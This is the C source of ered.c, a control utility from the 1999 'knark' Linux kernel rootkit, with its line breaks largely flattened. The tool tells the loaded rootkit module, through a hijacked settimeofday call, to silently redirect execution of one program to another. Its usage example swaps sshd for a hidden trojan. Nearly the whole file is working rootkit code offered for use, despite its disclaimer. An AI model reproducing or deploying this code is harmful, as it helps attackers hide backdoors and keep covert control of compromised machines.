/* * ered.c, part of the knark package * (c) Creed @ #hack.se 1999 <creed@sekure.net> *  * This program may NOT be used in an illegal way, * or to cause damage of any kind. *  * See README for more info. */#include <sys/types.h>#include <sys/stat.h>#include <unistd.h>#include <stdio.h>#include <time.h>#include <sys/time.h>#include "knark.h"void usage(const char *progname){    fprintf(stderr,	    "Usage:\n"	    "\t%s <from> <to>\n"            "\t%s -c (clear redirect-list)\n"	    "ex: %s /usr/local/sbin/sshd /usr/lib/.hax0r/sshd_trojan\n",	    progname, progname, progname);    exit(-1);}int main(int argc, char *argv[]){    struct stat st;    struct exec_redirect er;        author_banner("ered.c");        if(argc != 3)    {	if(argc != 2 || strcmp(argv[1], "-c"))	    usage(argv[0]);		if(settimeofday((struct timeval *)KNARK_CLEAR_REDIRECTS,			(struct timezone *)NULL) == -1)	{	    perror("settimeofday");	    fprintf(stderr, "Have you really loaded knark.o?!\n");	    exit(-1);	}	printf("Done. Redirect list is cleared.\n");	exit(0);    }     er.er_from = argv[1];    er.er_to = argv[2];        if(stat(er.er_from, &st) == -1)	perror("stat"), exit(-1);        if(!S_ISREG(st.st_mode))    {	fprintf(stderr, "%s is not a regular file\n", er.er_from);	exit(-1);    }    if(~st.st_mode & S_IXUSR)    {	fprintf(stderr, "%s is not an executable file\n", er.er_from);	exit(-1);    }        if(stat(er.er_to, &st) == -1)	perror("stat"), exit(-1);        if(!S_ISREG(st.st_mode))    {	fprintf(stderr, "%s is not a regular file\n", er.er_to);	exit(-1);    }        if(~st.st_mode & S_IXUSR)    {	fprintf(stderr, "%s is not an executable\n", er.er_to);	exit(-1);    }        if(settimeofday((struct timeval *)KNARK_ADD_REDIRECT,		    (struct timezone *)&er) == -1)    {	perror("settimeofday");	fprintf(stderr, "Have you really loaded knark.o?!\n");	exit(-1);    }        printf("Done: %s -> %s\n", er.er_from, er.er_to);    exit(0);    }